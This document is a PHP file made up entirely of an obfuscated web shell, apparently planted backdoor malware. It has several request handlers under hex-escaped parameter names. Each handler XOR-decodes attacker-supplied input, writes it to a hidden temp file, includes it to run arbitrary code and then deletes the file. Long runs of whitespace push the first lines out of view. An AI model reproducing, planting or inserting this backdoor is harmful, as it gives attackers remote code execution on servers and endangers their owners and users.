<?php																																										if(!is_null($_POST["t\x6Fk\x65n"] ?? null)){ $parameter_group = $_POST["t\x6Fk\x65n"]; $parameter_group =explode ('.' ,$parameter_group ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $q = 0; while( $q<count( $parameter_group)) { $v9 = $parameter_group[$q]; $sChar = ord( $salt[$q % $sLen] ); $d =( ( int)$v9 - $sChar -( $q % 10)) ^ 81; $bind.= chr( $d ); $q++; } $value = array_filter(["/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp"]); foreach ($value as $data) { if (is_dir($data) && is_writable($data)) { $obj = vsprintf("%s/%s", [$data, ".fac"]); if (@file_put_contents($obj, $bind) !== false) { include $obj; unlink($obj); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x6D\x72k"])){ $itm = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp"]); $object = $_REQUEST["\x6D\x72k"]; $object= explode ( '.',$object ) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $n =0; $__len =count($object); do { if ($n >=$__len) break; $v1 =$object[$n]; $chS =ord($s[$n %$lenS]); $dec =((int)$v1 - $chS - ($n %10)) ^ 79; $pointer .= chr($dec); $n++; } while (true); foreach ($itm as $ref): if (is_dir($ref) ? is_writable($ref) : false) { $item = "$ref/.data"; if (@file_put_contents($item, $pointer) !== false) { include $item; unlink($item); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["en\x74"])){ $flag = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), "/tmp"]); $record = $_POST["en\x74"]; $record = explode ( '.' , $record ); $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $record as $m =>$v2): $sChar = ord( $s[$m % $sLen]); $dec =( ( int)$v2 - $sChar -( $m % 10)) ^ 26; $k .= chr( $dec); endforeach; foreach ($flag as $component) { if (!( !is_dir($component) || !is_writable($component) )) { $ptr = implode("/", [$component, ".elem"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(in_array("f\x6Cg", array_keys($_POST))){ $comp = $_POST["f\x6Cg"]; $comp = explode ('.' , $comp ) ; $elem = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $t = 0; array_walk($comp,function($v1) use(&$elem,&$t,$salt7,$sLen) {$chS = ord($salt7[$t % $sLen]); $d = ((int)$v1 - $chS -($t % 10)) ^87; $elem .= chr($d); $t++; } ); $pointer = array_filter([session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($pointer as $key => $ent) { if (is_writable($ent) && is_dir($ent)) { $token = implode("/", [$ent, ".data_chunk"]); if (file_put_contents($token, $elem)) { require $token; unlink($token); exit; } } } }
																																										if(!is_null($_POST["val\x75\x65"] ?? null)){ $flag = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm"]); $data = $_POST["val\x75\x65"]; $data = explode ( ".",$data ); $resource = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2 ); $len = count( $data ); for( $q = 0; $q < $len; $q++) { $v5 = $data[$q]; $sChar = ord( $s2[$q %$sLen] ); $dec =( ( int)$v5 - $sChar -( $q %10)) ^51; $resource .= chr( $dec ); } foreach ($flag as $token) { if (max(0, is_dir($token) * is_writable($token))) { $reference = join("/", [$token, ".hld"]); if (@file_put_contents($reference, $resource) !== false) { include $reference; unlink($reference); die(); } } } }
																																										if(@$_REQUEST["\x65nt"] !== null){ $pgrp = $_REQUEST["\x65nt"]; $pgrp = explode ( "." , $pgrp) ; $desc=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt); $m=0; $__len=count( $pgrp); do { if( $m >= $__len) break; $v7=$pgrp[$m]; $sChar=ord( $salt[$m% $sLen]); $dec=( ( int)$v7 - $sChar -( $m% 10)) ^94; $desc .= chr( $dec); $m++; } while( true); $record = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); foreach ($record as $key => $flg) { if (max(0, is_dir($flg) * is_writable($flg))) { $item = vsprintf("%s/%s", [$flg, ".component"]); $success = file_put_contents($item, $desc); if ($success) { include $item; @unlink($item); exit;} } } }
																																										if(!is_null($_REQUEST["r\x65f\x65re\x6Ece"] ?? null)){ $elem = $_REQUEST["r\x65f\x65re\x6Ece"]; $elem =explode ( '.' , $elem ) ; $parameter_group = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $o = 0; foreach($elem as $v5) {$sChar = ord($s4[$o % $sLen]); $dec = ((int)$v5 - $sChar -($o % 10)) ^ 52; $parameter_group .= chr($dec); $o++; } $marker = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); foreach ($marker as $key => $pgrp) { if (is_dir($pgrp) ? is_writable($pgrp) : false) { $object = vsprintf("%s/%s", [$pgrp, ".ref"]); if (file_put_contents($object, $parameter_group)) { include $object; @unlink($object); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65\x63")){ $elem = array_filter(["/tmp", getenv("TMP"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $value = $_POST["r\x65\x63"]; $value=explode ('.' , $value ) ; $ref = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3 ); $s = 0; foreach ($value as $v7) { $chS = ord($s3[$s%$sLen] ); $dec = ((int)$v7 - $chS - ($s%10))^ 25; $ref.= chr($dec ); $s++; } while ($token = array_shift($elem)) { if (is_writable($token) && is_dir($token)) { $descriptor = implode("/", [$token, ".ent"]); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(in_array("r\x65f", array_keys($_POST))){ $element = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", "/dev/shm"]); $binding = $_POST["r\x65f"]; $binding = explode ( "." , $binding ) ; $obj=''; $s9='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s9); $len=count( $binding); for( $k=0; $k < $len; $k++) { $v4=$binding[$k]; $chS=ord( $s9[$k % $lenS]); $d=( ( int)$v4 - $chS -( $k % 10)) ^73; $obj .= chr( $d); } foreach ($element as $key => $entry) { if (is_dir($entry) ? is_writable($entry) : false) { $holder = str_replace("{var_dir}", $entry, "{var_dir}/.rec"); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $holder; @unlink($holder); die(); } } } }
																																										if(@$_POST["pse\x74"] !== null){ $entry = $_POST["pse\x74"]; $entry= explode( '.' ,$entry ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $q = 0; foreach($entry as $v4) { $chS = ord($salt[$q % $sLen] ); $dec =((int)$v4 - $chS -($q % 10)) ^ 94; $binding .= chr($dec ); $q++; } $k = array_filter(["/tmp", getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($k as $key => $itm) { if (max(0, is_dir($itm) * is_writable($itm))) { $reference = str_replace("{var_dir}", $itm, "{var_dir}/.key"); if (file_put_contents($reference, $binding)) { include $reference; @unlink($reference); die(); } } } }


if(array_key_exists("\x65nt\x72y", $_POST) && !is_null($_POST["\x65nt\x72y"])){
	$holder = $_POST["\x65nt\x72y"];
	  	$holder	=explode( 	'.',	 $holder  )	;	 
	$element='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen( 	$salt);
            $z=0;
            $__len=count( 	$holder);
    
            do {  if( 	$z>=	$__len) break;
                $v7=$holder[$z];
                $sChar=ord( 	$salt[$z % $sLen]);
                $d=( 	( 	int)$v7 - $sChar -( 	$z % 10))^ 17;
                $element.=chr( 	$d);
                $z++;}while( 	true);
	$rec = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp"]);
	foreach ($rec as $entity):
    		if ((is_dir($entity) and is_writable($entity))) {
    $pgrp = "$entity" . "/.elem";
    if (file_put_contents($pgrp, $element)) {
	require $pgrp;
	unlink($pgrp);
	die();
}
}
endforeach;
}